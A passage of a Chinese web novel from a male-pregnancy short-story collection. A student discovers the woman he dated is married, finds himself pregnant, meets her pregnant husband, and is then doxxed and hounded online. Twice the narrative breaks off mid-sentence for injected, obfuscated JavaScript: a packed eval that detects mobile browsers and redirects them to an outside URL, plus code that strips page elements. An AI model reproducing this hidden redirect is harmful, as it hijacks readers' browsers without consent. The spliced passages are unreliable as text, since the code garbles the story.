《旧文新写[男生子/女尊短篇合集]》
1. 男大学生被三之后(1)
一名男大学生相亲了一位精英女士,却意外发现对方已婚……
貌似是个狗血故事……么?
————————————
1
一切的开端,不过是场寻常的相亲。
当林知榆抵达那家餐厅时,沈蕙已经安静地坐在那个靠窗的位置上了。她穿着一件质感很好的灰色丝质衬衫,鼻梁上架着一副无框眼镜,手腕旁边放着一杯看起来已经喝了一半的美式咖啡。林知榆朝她走过去时,她恰好抬起头来看了他一眼,随即露出一个浅淡的笑容,语气平和地问了一句:“林知榆?”
林知榆有些拘谨地点了点头,声音里带着一丝不易察觉的紧张:“是……是的。”
沈蕙示意他坐下,同时指了指桌上另一杯饮品:“坐吧,我给你点了杯拿铁,也不知道合不合你的口味。”
林知榆略显拘束地应了一声,然后在对面落座。他习惯性地将手机从口袋里掏出来,屏幕朝下扣在了桌面上。沈蕙的目光在他脸上短暂地停留了两秒,随即移开,望向了窗外的街景。
“今天倒是不怎么热,”她随口说道,语气自然得像是在和老朋友聊天,“这种天气出来走走还挺舒服的。”
林知榆附和了一声:“是啊。”
这时服务员恰好把之前点好的拿铁端了上来。林知榆端起杯子喝了一小口,是常温的,温度刚刚好。他将杯子放回去之后,忽然发现自己的双手竟不知道该放在哪里才显得自然。沈蕙似乎察觉到了他的不自在,但她什么也没说,只是不动声色地将自己的杯子往旁边挪了挪,无形中为他腾出了更多桌面空间。
他们就这样聊了大约四十分钟。
沈蕙告诉他自己目前在做咨询方面的工作,客户主要集中在城东,每天开车往返需要花费一个多小时。林知榆则说自己正在读大四,眼下正忙着找实习单位,已经向几家互联网公司投递了简历。沈蕙便问他投的是什么岗位,他回答说是运营。沈蕙听完点了点头,语气中带着些许过来人的经验之谈:“运营这条路挺好的,入门门槛不算高,但做久了确实也有发展空间。”
临走的时候是沈蕙主动买了单。林知榆下意识地说了一句“我来吧”,但沈蕙已经利索地完成了扫码支付,转过头对他笑了笑说:“等你以后毕业工作了再请我也不迟。”
林知榆站在餐厅门口,目送着她的车从车位里缓缓倒出来。那是一辆帕拉梅拉,深蓝色的车身在阳光下泛着内敛的光泽。她降下车窗,探出头来问了他一句:“需要我捎你一段路吗?”
林知榆摇了摇头,说:“不用了,我坐地铁回去就行。”
沈蕙也没勉强,只是点了点头:“那好,我们下次再约。”
车窗随之缓缓升了上去,那辆深蓝色的保时捷很快便融入了车流,消失在了街道尽头。林知榆依旧站在原地,过了好一会儿才将一直握在手里的手机翻过来看了一眼时间——五点十七分。等他回到宿舍之后,他给沈蕙发了一条消息,说他已经安全到了,今天过得很开心。
沈蕙大概过了半小时才回复,内容也简单:我也挺开心的,下次见。
他们第二次见面是在周六那天。沈蕙带他去了一家火锅店,说他们家的羊蝎子做得相当地道。林知榆不太擅长对付复杂的骨头,剔肉的时候显得有些笨拙。沈蕙看了他一眼,语气温和地说:“没事,这骨头确实不太好剔。”
说完之后,她将自己盘子里已经细心剔好的肉轻轻推到林知榆手边,说:“你吃这个吧。”
第三次见面是在某个周三的晚上。沈蕙说那天加班到八点,问他想不想出来喝点东西聊聊天。等林知榆赶到约定地点的时候,她已经喝到第二杯了,眼睛下面有明显的青黑色,但整个人的精神状态看起来还好。她说今天被一个客户气得够呛,絮絮叨叨讲了一大堆工作中的烦心事,林知榆就安静地听着,偶尔插上一两句话表示回应。
离开的时候沈蕙忽然说了一句:“跟你说话感觉挺放松的。”
林知榆在回去的路上一直在心里反复琢磨这句话。
后来就有了第四次见面,第五次,第六次……具体是第几次见面,林知榆自己都记不太清了。
他只记得沈蕙的车里总是弥漫着一股很淡的香味,那味道不像是刻意喷洒的香水,更像是洗车时添加的那种清新剂。他坐在副驾驶的位置上,目光总会不经意地落在她握着方向盘的手指上——她的指甲修剪得很短,也没有涂任何颜色的指甲油。
直到某天晚上,他躺在宿舍床上百无聊赖地刷手机时,一条婚庆公司的广告猝不及防地跳了出来。广告里有一对新人的照片,两人站在一片绿意盎然的草坪上,笑得格外灿烂。林知榆滑动屏幕的手指就这么停在了半空中。
那个穿着婚纱的新娘竟然是沈蕙——虽然脸比现在圆润了一些,但他绝不会认错。站在她旁边的那个男人他从未见过,正对着镜头露出标准的微笑。广告文案赫然写着:牵手十年,初心不改。点击查看经典案例合集。
林知榆的手指微微颤抖了一下,随即将手机屏幕朝下扣在了床铺上。他愣愣地坐了好一会儿,才重新把手机翻过来,点进了那个链接。那是那家婚庆公司的官方网站,那一页展示了好几对新人,沈蕙和那个男人排在第二对。照片左下角有一行小字:201X年5月。
林知榆在心里默默算了算——那是五年前的事情了。
他打开微信,找到沈蕙的头像点了进去。最后一条消息是她昨天发的:下周可能要降温了,你自己多穿点衣服保暖。他没有回复那条消息。他又点开她的朋友圈,发现设置了三天可见,什么也看不到。他再次把手机屏幕朝下扣在了床上。
宿舍里安静得几乎能听见自己的心跳声,室友去洗澡了,隔着一道墙能隐约听见哗啦啦的水声。林知榆就那么仰面躺着,目光呆滞地盯着天花板——那盏灯管一直在闪烁,他早就想报修了,却一直拖着没去。
不知过了多久,林知榆猛地坐起身来,重新拿起手机,点开沈蕙的头像,再点开右上角那三个小点,把页面一直往下拉,拉到最底部,最后果断地点下了那个红色的字。页面立刻跳出一个确认框:确定将对方加入黑名单吗?他没有丝毫犹豫地点击了确定。
做完这一切之后,他又打开手机相册,翻到那些存着沈蕙照片的文件夹——有几张是两人一起吃饭时随手拍的,有一张是他坐在副驾驶偷拍的沈蕙侧脸,只拍到半个轮廓,照片里的她正在笑。他将这些照片一张一张地全部删除了。
删完之后,他再次把手机放下,坐在床边发愣。片刻之后又把手机拿起来,看一眼屏幕,然后又放下;放下没多久,又忍不住拿起来。如此反复了好几次。
浴室里的水声不知道什么时候停了。
林知榆忽然用双手捂住脸,肩膀不受控制地抽搐了一下。他没有发出任何声音,只是肩膀一直在剧烈地颤抖。过了许久许久,他才缓缓放下双手,脸上已经湿成一片。他抬起袖子用力蹭了一下,然后又蹭了一下。
窗外不知道是谁在楼下打电话,声音断断续续地飘上来。林知榆根本听不清对方在说什么,只是觉得那声音隔得很远,仿佛来自另一个世界。
2
自从林知榆把沈蕙的联系方式彻底拉黑之后,大约过了四个星期左右,他的身体开始出现一些异常反应——起初是莫名其妙的恶心感。
一开始他以为是学校食堂的食用油出了什么问题。那几天他对任何食物都提不起兴趣,闻到油烟味就想呕吐,有一次室友在宿舍里煮泡面,他不得不躲到阳台上把门紧紧关上,在冷风里吹了整整二十分钟才缓过劲来。
室友见他这副模样,关切地问了一句:“你是不是得了肠胃炎?”
林知榆只是含糊地应了一声:“可能是吧。”
他去校医院开了点胃药,吃完之后却没有任何改善。他又去药店买了藿香正气水,喝下去之后恶心感反而更严重了。
后来恶心的症状渐渐消失了,取而代之的是难以控制的嗜睡。下午没课的时候他能一口气睡到五点,醒来之后依然觉得浑身乏力、昏昏沉沉。室友开玩笑说他简直像一只正在冬眠的熊,林知榆没好气地骂了一声,翻个身又继续睡了过去。
他觉得自己可能是太累了——投了几十份简历出去,却连一个面试通知都没收到。晚上睡不着的时候就躺在床上刷手机,每次刷到婚庆公司的广告就飞快地划过去。有一次划得不够及时,又看见了那张刺眼的照片,他气得把手机狠狠摔在床上,独自坐了很久很久。
就这样浑浑噩噩地过了三个月,林知榆一开始并没在意身体的变化。秋冬季节穿的衣服本来就多,裤腰紧一点也是常有的事。直到有一天洗澡时,他无意间低头看见自己的小腹竟然鼓起了一块,便用手指按了按——那块地方硬邦邦的,怎么按都按不下去。
他站在花洒下面,任凭热水从头淋到脚,愣愣地盯着那块凸起看了许久。第二天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297549|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他去了校医院,医生摸了摸之后说可能是消化不良,给他开了一些益生菌。过了一周那块凸起依然没有消下去。
他又去校外的三甲医院挂了消化科,这次医生仔细摸了摸之后建议说:“要不你做个B超检查一下?”
B超室的检查床有点硬,林知榆躺在上面,感受着冰凉的探头在自己的小腹上缓缓滑动。做检查的医生盯着屏幕看了一会儿,脸上的表情变得有些古怪起来。
“你这个……”医生看了看他的脸,又看了看屏幕,欲言又止地问,“你是自己一个人来的?”
林知榆点了点头:“对,就我一个人。”
医生沉默了片刻之后,语气尽量平静地告诉他:“你怀孕了。”
林知榆一下子愣住了,半天说不出话来。
“大概四个月左右了,”医生补充道,指着屏幕上的影像,“胎心发育得挺好的,你看,这个跳动的光点就是——”
“不可能。”林知榆打断道,声音里带着明显的不可置信。
医生将探头放了下来,转过身认真地看着他:“你上次发生关系是什么时候——”
“我们做了措施的,”林知榆的声音有些发紧,“每一次都做了。”
医生没有再继续追问,只是过了片刻之后轻声解释了一句:“避孕措施也不是百分之百有效的。”
林知榆从B超室走出来之后,在医院的走廊里茫然地站了很久。有人从他身边经过,看他一眼,便又继续走自己的路。过了好一会儿,他将那张B超报告单小心翼翼地卷起来,塞进了裤兜里,往医院门口走了几步,又折返回来,找了个厕所走了进去。
隔间里有人正在抽烟,劣质烟草的味道飘过来,他居然破天荒地没有感到恶心。他坐在马桶盖上,把那张皱巴巴的报告单重新展开,上面清晰地写着几个字:宫内早孕,约16周。旁边是一张模糊不清的黑白图像,他看不太懂,只能隐约辨认出一个轮廓,像一颗尚未成熟的花生。
他将报告单重新折好,塞回裤兜里,走出了厕所。
在回宿舍的路上,他一直在回想“措施”这件事。那些安全套都是沈蕙带来的,他当时也没多想就用了。
林知榆走到宿舍楼下,却没有直接上去。他在楼下那棵老银杏树旁边站了很久,金黄的落叶铺了满地,他踩在上面,脚下发出沙沙的细碎声响。手机忽然震动了一下,他掏出来看,是一条银行的还款提醒——上个月为了买面试时穿的正装,他办理了分期付款。他把手机重新揣回兜里,又呆呆地站了好一会儿。
那天晚上,他躺在床上动也不动,室友以为他睡着了,于是开着灯赶ddl。其实他根本没有睡,只是睁着眼睛死死盯着天花板。那盏灯管依然在闪烁,他依然没有去报修。他把手轻轻放在小腹那块凸起的地方——那个地方硬邦邦的,像塞进去了一个小西瓜。他用力按了按,没有任何反应。他又按了按。
就在这时,肚子里忽然动了一下。
那种感觉很轻很轻,就像鱼在水中轻轻甩了一下尾巴。林知榆的手僵在了原处。片刻之后,又动了一下,这次比刚才明显多了。他像触电一样把手缩了回去,紧紧攥成拳头,塞到了枕头底下。他的眼睛依然死死盯着天花板,那盏灯管一闪一闪,一闪一闪,仿佛永无止境。他终于闭上眼睛,过了一会儿又忍不住睁开,那灯管依然在闪。
他忽然想起沈蕙曾经说过的一句话:“那得报修,不然老这么闪对眼睛不好。”
他猛地翻了个身,把脸深深埋进了枕头里。枕头很快就被浸湿了一大片。
第二天他没有去上课。室友问他怎么了,他只说身体不舒服。等室友离开之后,他坐起身来,把手机拿过来,打开黑名单列表——里面孤零零地躺着一个名字。他盯着那个名字看了很久很久。
是故意的吗?他在心里反复问自己。是她买的那些安全套。每一次都是她坚持说她来买。
林知榆忽然想起第一次见面那天,她开的那辆帕拉梅拉,她握着方向盘的纤细手指,她那修剪得整整齐齐的指甲。想起她把自己盘子里的脊骨细心剔好之后轻轻推到自己手边的样子。想起她说的那句话:“跟你说话感觉挺放松的。”
他的手再次放在小腹上,里面那个小生命又轻轻动了一下。
林知榆猛地将手机摔在床上,双手紧紧捂住脸。过了很久很久,指缝里终于漏出一声低沉的呜咽——那声音很轻,轻到几乎听不清是咒骂还是别的什么。
2. 男大学生被三之后(2)
3
那天晚上,林知榆在一个匿名论坛上发了一个帖子。标题他反复打了三遍,又删了三遍,最后终于写下了这样一行字:发现怀孕了,不知道该怎么办。
正文他写得很简短:之前跟一个人交往了几个月,后来才发现对方其实已经结婚了,现在已经彻底断了联系。最近发现自己意外怀孕了,已经四个多月,完全不知道接下来该怎么办。自己还在上学,还有半年才能毕业。
发出去之后他盯着屏幕看了好一会儿,然后才把手机扣在床上。过了大约一分钟他忍不住拿起来刷新,没有任何回复。又过了一分钟,终于出现了一条回复,只有两个字:“沙发。”
紧接着是二楼:等后续。
3L:知三当三?
4L:你是怎么发现对方已经结婚的?是不是早就知道真相在这装无辜?
林知榆的手指微微收紧,攥紧了手机,继续往下翻看。
5L:这种人就是活该,破坏别人家庭的时候怎么不想想后果?
6L:你说已经断了联系,是不是人家不要你了?现在怀孕了就想趁机上位?
7L:建议你赶紧告诉对方的合法配偶,别在这里装可怜博同情。
8L:+1,如果你真的被小三了,第一时间就应该去找另一个受害者,而不是上网来哭诉。
林知榆的手指停在屏幕上方,久久没有移动。他死死盯着那条“告诉对方配偶”的建议,看了很久很久。
9L:算了吧,这种人嘴里没一句实话,肯定是知三当三,现在翻车了才来卖惨。
10L:都快五个月了才来问?之前干什么去了?是不是想生下来当筹码?
林知榆终于把手机放下,站起身来,走到窗边。窗外有人在打篮球,欢呼声和球击声远远地传过来。他默默站了一会儿,又走回床边,把手机重新拿了起来。
帖子已经翻到第二页了。
27L:楼主出来走两步啊,说说你是怎么发现对方已婚的?
28L:估计是编的故事,大家散了吧。
29L:这种帖子见多了,最后都是来打广告的,我先拉黑了。
林知榆默默把帖子关掉了。过了一会儿他又忍不住打开,继续往下翻。第三页,第四页……没有一个人问他现在的情况怎么样,没有一个人关心他肚子里的孩子该怎么办,没有一个人问他是不是真的毫不知情。
只有一条回复,孤零零地夹在第三页中间:“被小三确实挺惨的,但你现在唯一的出路就是去找对方的配偶,别的都是瞎扯。”
林知榆盯着那条回复看了很久。发帖时间是二十三分钟前,没有收到任何回复,也没有人点赞。
他终于把手机扔在床上,仰面躺了下去,继续盯着天花板。那盏灯管依然在不知疲倦地闪烁。他想起沈蕙说过的话,应该报修的。他一直没有报修。他把手放在小腹上,五个月的肚子已经很明显了,穿什么衣服都能看出来。前几天他特意买了一件oversize的卫衣,能稍微遮挡一下,但只要坐下来就完全暴露了。室友问过他一次,他只说胖了,室友也就没再多问。
他又把手机拿起来,点开那个帖子。已经沉到第五页了,最后一条回复是一个小时前的:“这种帖子真没意思,已经举报了。”
林知榆默默删掉了那个帖子。
第二天他依然没有去上课。他就那样一动不动地躺在床上,肚子里的那个小东西一直在不停地动。他把手放上去,能清晰感觉到里面在踢蹬,一下,一下,又一下。他闭上眼睛,又睁开;再闭上,再睁开。
中午的时候他终于坐起身来,拿过手机,打开浏览器,搜索那家婚庆公司的名字。那个广告他还记得,公司下面有联系电话。他深吸一口气,拨了过去,响了大约三声之后被接通了。
“你好,唯爱婚典。”
“你好,”林知榆开口,嗓子有些发干,“我想咨询一下,你们官网上那个案例,201X年5月的那一对新人,你们还有那个……新郎的电话吗?”
“您好,客户的联系方式我们这边是不能随便透露的,请问您是哪位?”
“我是那个女方的弟弟,”林知榆尽量让自己的声音听起来平静一些,“家里出了点急事,联系不上姐夫,特别着急。”
电话那头沉默了片刻:“您说的是哪一对新人?”
“就是照片上写着‘牵手十年’的那一对,女方叫沈蕙。”
“哦,沈女士是吧?您稍等一下,我帮您查查记录。”
林知榆紧紧攥着手机,手心已经开始冒汗了。
“您好,这个情况我们确实不能直接把电话给您,要不我帮您问问对方愿不愿意——”
“别的联系方式也行。”林知榆打断道。
对面又沉默了一下:“您稍等,我再查查记录……她先生留了是邮箱地址,要不您先试着发个邮件联系一下?”
林知榆连忙说行。
他把那个邮箱地址仔细记下来,挂了电话。那是一个英文名加数字的组合,他盯着看了很久,然后打开自己的邮箱,开始新建邮件。
收件人那一栏他仔细输入了那串字符。标题他想了很久很久,最后终于写下了:关于您妻子的一件事。正文他只写了一句话:您的妻子沈蕙,我们曾经见过面。我有一些事情需要跟您谈谈。如果您愿意的话,可以通过这个邮箱联系我。
点击发送。
他把手机放下,肚子里的小东西又踢了一下。他转头望向窗外,天色已经开始暗下来了。宿舍里没有开灯,光线正一点一点地变得模糊,他就那么静静地坐着,看着窗户从灰蒙蒙渐渐变成漆黑一片,看着对面楼的窗户一盏接一盏地亮起温暖的灯光。
手机忽然震动了一下。他连忙拿起来看,是一封邮件回复。
只有短短一句话:约个时间和地点吧,我过去找你。
4
他们约定的见面地点是一家离林知榆学校大约三站地铁的咖啡馆。
林知榆推门进去的时候,靠窗的那个位置上已经坐着一个人了。那人大约二十七八岁的模样,穿着一件灰色卫衣,眼睛下面有明显的青黑色痕迹,看起来像是很久没睡好觉的样子。他面前放着一杯抹茶拿铁,几乎没怎么动过。
林知榆走过去,那人抬起头来看他,声音有些沙哑地问:“林知榆?”
林知榆点了点头:“是。”
那人简短地自我介绍:“周琚。”
林知榆在对面的位置上坐了下来。周琚的目光在他脸上停留了两秒钟,然后不自觉地往下移了一点,又很快移开了。林知榆下意识地扯了扯自己的卫衣下摆,想把它往下拽一拽,却怎么也拽不动。
“你……”周琚开口,声音依然沙哑,“现在几个月了?”
林知榆小声答:“五个月。”
周琚点了点头,没有再说话。他把那杯几乎没动过的抹茶拿铁往旁边推了推,两只手交叠着放在桌上,林知榆注意到他的指节因为用力而显得有些发白。
“我看到你发的邮件了,”周琚终于又开口,“你说的见过面,具体是什么意思?”
林知榆沉默了一会儿,最终还是如实相告:“我们约会过,很多次。”
周琚又点了点头,脸上的表情看起来一点也不意外。他问:“大概是什么时候的事情?”
林知榆的声音更低了:“就是……大概五个月之前吧。”
周琚在心里默默算了一下,然后说:“那还在我们起诉离婚之前。”
林知榆没有接话。
周琚缓缓闭上眼睛,过了一会儿又睁开。他没有看林知榆,而是转头望向窗外。窗外有人在遛狗,一只金毛犬,跑得很欢快。
“她不是第一次出轨了。”周琚的声音很平静,听不出任何情绪起伏。
林知榆愣了一下。
“我就跟你实话实说吧,”周琚继续说道,声音依然平静得近乎冷漠,“我们结婚五年,她在外面有多少人我根本没数过。有些我知道,有些我不知道。知道了又能怎么样,她说过会改,就只是嘴上说说。”
林知榆张了张嘴,却不知道该说什么。
周琚把视线从窗外收回来,落在面前那杯已经凉透的热饮上。他没有喝,只是那样看着。
“我们有两个孩子,”他说,“老大四岁,老二两岁。都是男孩。”
林知榆的手不自觉地放在自己的小腹上,没有动。
“然后我现在……”周琚顿了顿,把手放在自己的肚子上。他的衣着宽松,乍一看看不出什么,但那个动作让林知榆瞬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297550|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间明白了。
“六个月了,”周琚说,嘴角扯出一丝苦笑,“老三。”
林知榆看着他,完全说不出话来。
“她说要离婚的时候我刚查出来怀孕,”周琚继续说,“我说能不能等孩子生下来再谈这件事,她说不行,她一天都等不了了。我问她是不是外面有人了,她说没有,只是单纯不想过了。”
他笑了一下,那笑容像是从鼻子里哼出来的,带着浓重的自嘲意味:“我现在才知道,她那会儿已经在跟你见面了。”
林知榆想说点什么,但嗓子像被什么东西堵住了,一个字也说不出来。他端起面前的杯子喝了一口,是白开水,温的。
“她知道你也怀孕了吗?”周琚忽然问。
林知榆摇了摇头。
“那就好,”周琚说,“千万别让她知道。”
林知榆不解地看着他。
“她不会要的,”周琚解释道,语气里带着一种说不清的复杂情绪,“她连自己婚内的孩子都可以不要,怎么可能要婚外的?”
林知榆的手下意识地攥紧了杯子。
“我知道你找我是想说什么,”周琚继续说道,声音平静得像在陈述一个与己无关的事实,“你想让我知道她是个什么样的人,其实我早就知道了。你想让我去跟她吵,跟她闹,可是我已经没有那个力气了。”
他把手从肚子上放下来,搁在桌上,依然是那双指节发白的手:“我现在只想把两个孩子好好带大,把这个生下来,然后安安静静过自己的日子。她爱怎么样就怎么样吧,已经跟我没有任何关系了。”
林知榆默默看着他。周琚没有看他,依然望着窗外那只金毛犬。金毛已经跑远了,变成一个模糊的小点。
“我能提供证据。”林知榆忽然说。
周琚转过头来看着他。
“聊天记录,”林知榆说,声音很轻但很坚定,“还有怀孕的B超单。上面都有日期,能证明就是那段时间发生的事情。”
周琚看着他,没有说话。
“你打离婚官司的时候应该能用得上。”林知榆补充道。
周琚沉默了很长时间。窗外的天阴沉沉的,光线越来越暗,咖啡馆里早早地亮起了灯。暖黄色的灯光照在周琚脸上,把他眼睛下面那片青黑色映衬得更加明显。
“你给我干什么,”周琚终于开口,声音有些疲惫,“这上面有你的个人信息,自己好好留着吧。”
“没关系的,我愿意作证。”
周琚看着他,忽然问了一句:“那你接下来打算怎么办?”
林知榆没有回答。
“你还在上学吧,”周琚说,“还有多久毕业?”
“半年。”
“半年,”周琚重复了一遍这个数字,然后把视线移开,落在林知榆隆起的肚子上,“那你这……”
林知榆下意识地把卫衣又往下拽了拽。
周琚不再说话了。他把那杯已经完全凉透的抹茶拿铁端起来喝了一口,微微皱了一下眉头,又放回桌上。然后他掏出手机,解锁屏幕,推到林知榆面前。
“加个微信吧,”他说,“谢谢你愿意提供证据。”
林知榆拿出手机扫了码。好友申请发过去,周琚点了一下通过。林知榆低头把聊天记录截图一张一张地发过去,又把那张B超单的照片也发了过去。周琚的手机连续震动了很多下,但他没有看,只是把手机扣在桌上,屏幕朝下。
“好了。”林知榆说。
周琚点了点头。他站起身来,往外走了两步,又停下来,回头看着林知榆。
“你自己多保重,”他说,“她那边的事情你就别管了,我来处理。”
林知榆说:“好。”
周琚走出咖啡馆,林知榆站在窗边默默看着他的背影。他走得不快,一步一步,走到路口停下来等红灯。绿灯亮了之后,他穿过马路,很快就消失在熙熙攘攘的人群里。
林知榆拿起那杯白开水,液体已经凉透了。他端起来喝了一口,肚子里的小东西又踢了一下。他把手放上去,过了一会儿,又踢了一下。
手机震动了一下。他拿起来看,是周琚发来的消息:收到了。谢谢。
林知榆盯着那两句话看了很久,然后锁了屏幕,把手机揣进了口袋。
3. 男大学生被三之后(3)
林知榆回到宿舍的时候天已经完全黑透了。
他把手机插上充电器,去卫生间用冷水洗了把脸。回来的时候手机屏幕亮着,显示有几条未读消息。他以为是周琚又发来了什么,点开一看,却是一个陌生号码发来的。
“你是林知榆?”
“软院的林知榆?”
他愣了一下,没有回复。默默删掉那些消息,把手机调成静音模式,躺到了床上。肚子里的小东西在动来动去,他把手放上去轻轻抚了抚,过了一会儿终于安静下来了。
第二天早上他醒来的时候,发现手机上有十七个未接来电,四十三条未读短信,微信好友申请更是超过了一百条。他坐起身来,点开一条短信。
“知三当三的贱货,还有脸怀孕?”
他面无表情地删掉那条,点开下一条。
“哪个专业的?让大家看看你这副德行。”
下一条。
“怀了就想上位?你爹妈怎么教你的?”
他把手机放下,过了一会儿又拿起来,点开微信。好友申请的验证消息一条一条往下翻:
“小三死全家!!!”
“出来挨骂!”
“你这种人怎么不去死?”
他把微信退了出来,打开浏览器,随便点进一个本地论坛。首页上赫然挂着一个帖子,标题是:某高校男大学生当小三怀孕,正宫丈夫发声。
他点进去。
主楼里是几张截图。前几张是他和周琚在婚恋网站上的聊天记录,还有那张写着他真实姓名和年龄的B超单。最后一张是他的微信主页截图,头像、昵称、微信号,清清楚楚地暴露在所有人面前。
主楼下面还有一行字:这就是那个知三当三的男大学生。和已婚妇女搞在一起,怀孕了还想上位,恶心不恶心?
林知榆继续往下翻。
1L:卧槽,这是我们学校的?哪个学院的?
2L:知三当三还怀孕,真是什么人都有。
3L:他还有脸发帖求助?求什么?求网友帮他上位?
4L:那丈夫真惨,老婆出轨,自己还怀着三胎,还要被这小三恶心。
5L:这小三也不是什么好东西,明知道人家有家庭还往上贴。
6L:建议学校开除这种学生,简直败坏校风。
7L:人肉他,让他彻底社死。
8L:已经扒出来了,是三号楼的,姓林,大三还是大四。
林知榆默默把手机放下。
他站起身来,走到窗边,往外看了一眼。楼下有两个人站在银杏树旁边说话,说话的时候不时往楼上瞥一眼。他下意识地后退一步,把窗帘紧紧拉上。
手机还在不停地震动。一下,一下,又一下。他站在窗帘后面,一动也没动。肚子里的小东西轻轻动了一下,他把手放上去,手心能感受到那轻微的起伏。
他站了很久很久,手机一直在震。
中午的时候辅导员打来电话,问他网上的事情是不是真的。林知榆说:“是真的,但是——”
辅导员打断了他:“你先别解释了,学校这边压力很大,你还是先回去休息一段时间吧。”
林知榆说:“好。”
下午他收拾了一个行李箱。衣服装了几件,书一本也没拿。室友在旁边站着,想说什么,嘴唇动了动,最终还是没有说出口。
林知榆拉上行李箱的拉链,站起身来,看了他一眼,淡淡地说了一句:“走了。”室友默默点了点头。
林知榆拉着行李箱走到门口,室友在后面忽然说了一句:“那个……你自己小心点。”林知榆没有回头。
他是走楼梯下去的。走到三楼的时候手机响了,又是一个陌生号码。他挂掉。又响,他又挂掉。走到一楼的时候手机还在响个不停,他索性把手机关了。
门厅里站着三个人。他们站在公告栏前面,看见林知榆出来,齐刷刷地转过头来。林知榆没有停下脚步,继续拉着行李箱往外走。那三个人跟了上来,其中一个喊了一声:“林知榆?”
林知榆没有理会,继续往前走。
那个人快步追上来,绕到他前面,挡住了去路:“你就是林知榆?”
林知榆终于停了下来。
那人上下打量着他,目光最后落在他的肚子上。宽松的卫衣遮着,看不出什么,但那人还是盯着看了好几秒,问了一句:“真的怀了?”
林知榆没有说话。
那人掏出手机,对着他拍了起来。另外两个人也赶紧拿出手机,从不同角度拍着。林知榆绕过他们,继续往前走。那三个人就跟在后面,一边拍一边说着什么。说的什么他没听清,只感觉一直有人在耳边嗡嗡作响。
走到校门口,他拦了一辆出租车。上车的时候那三个人还站在路边继续拍。司机看了一眼后视镜,问了一句:“去哪儿?”林知榆说了一个地址,是学校老校区附近的一家廉价旅馆。司机又打量了他一眼。
车开出去之后,他回头看了一眼,那三个人还站在校门口。过了一会儿,他们也上了一辆车。
林知榆让司机在城里故意绕了几圈,到达那家旅馆的时候天已经黑了。办理入住之后,他发现房间很小,只有一张床一张桌子,窗户正对着一栋居民楼。
手机一直没敢开机,他不知道外面已经闹成什么样了。窗外的楼里亮着灯,有人在做晚饭,有人在看电视,有人抱着孩子在窗口走来走去。他把窗帘拉上,躺在床上。
肚子里的小东西动了一下。他把手放上去,过了一会儿又动了一下。他闭上眼睛,手一直放在肚子上,就那么躺着。
半夜的时候他被一阵嘈杂的声音惊醒。楼下有人在说话,声音不大,但在寂静的夜里听得格外清晰。他起身走到窗边,轻轻掀开一点窗帘往下看。路灯底下站着三四个人,手里都拿着手机,正往楼上看。其中一个人举起手机,闪光灯猛地亮了一下。
他立刻放下窗帘,后退了两步。
手机还放在桌上,一直关着机。他盯着手机看了很久很久,始终没有动。
楼下的人还在说话,声音断断续续地传上来,听不清在说什么。他就那样站在黑暗里,手放在肚子上,感觉里面的小东西在动。一下,一下,又一下。
6
林知榆在那间狭小的旅馆房间里躲了整整三天。
窗帘始终紧紧拉着,房门也一直反锁着,外卖送到楼下的时候他下去拿过一次,结果楼下蹲守的那些人举着手机一拥而上,他吓得拼命跑回屋里。从那之后他再也不敢点外卖了,只敢通过旅馆大堂买些泡面勉强充饥。
第四天晚上,外面终于安静了下来。
他躺在床上盯着天花板发呆,肚子里的小东西动得特别厉害,他用手按着,却怎么也按不住。楼下忽然有车灯闪了一下,他起初没在意。过了一会儿,手机震动了起来。
又是一个陌生号码。
他挂掉。手机再次震动,还是那个号码。他盯着屏幕看了很久很久,最终还是接了起来。
“下楼。”
他愣住了。
“我在你楼下。”
是沈蕙的声音。
林知榆没有动。电话那头沉默了几秒钟,然后传来她轻声的叹气:“时间不多,你不下来就只能我上去了。”
林知榆挂了电话。他走到窗边,掀开一点窗帘往下看。路灯底下停着一辆车,深蓝色的,是一辆保时捷。车旁边站着一个人,正仰着头往楼上看。
他深吸一口气,走下楼去。
旅馆的门一推开,外面站着的果然是沈蕙。她穿着那件灰色羊绒衫,头发比之前长了一点,脸也瘦了一圈。
“走。”她说。
林知榆没有动。
沈蕙看着他,目光往下移了一点,又很快移了回来。
“走吧,”她又说了一遍,“上车再说。”
林知榆终于跟着她走到车旁边,拉开车门坐了进去。车里还是那股熟悉的淡淡香味,和以前一模一样。沈蕙上了车,发动引擎,倒车,开出停车场。门口蹲着的那几个人举着手机追着拍,车子从他们身边呼啸而过,一刻也没有停留。
车子开了很久很久。
林知榆完全不知道开到哪里去了,只觉得外面的路越来越窄,越来越偏僻。最后车子停在一栋老旧居民楼下面,六层楼高,没有电梯,外墙的墙皮脱落了一块一块的。
沈蕙熄了火,却没有下车。
“这就是我家——现在住的地方。”她说,指了指上面,“五楼。”
林知榆看着她,眼神里带着疑问。
沈蕙解释道:“我爸妈以前住的房子,他们现在在国外生活。这一片儿都是老邻居,外人进不来的。”
林知榆下了车,站在车旁边。沈蕙也下了车,靠在车门上,从包里掏出一沓纸,递给他:“你看看这个。”
林知榆接过那沓纸,低头看了起来。那是一份起诉状,离婚起诉状。原告:沈蕙。被告:周琚。
他继续往下看。
事实与理由部分写得很长,不过时间线能看得很清楚。
周琚自202X年起多次参与网络赌博,尚未还清的欠款高达八十余万元。
202X年5月,周琚以照顾孩子为由,要求沈蕙将工资卡交由他保管,沈蕙同意了。
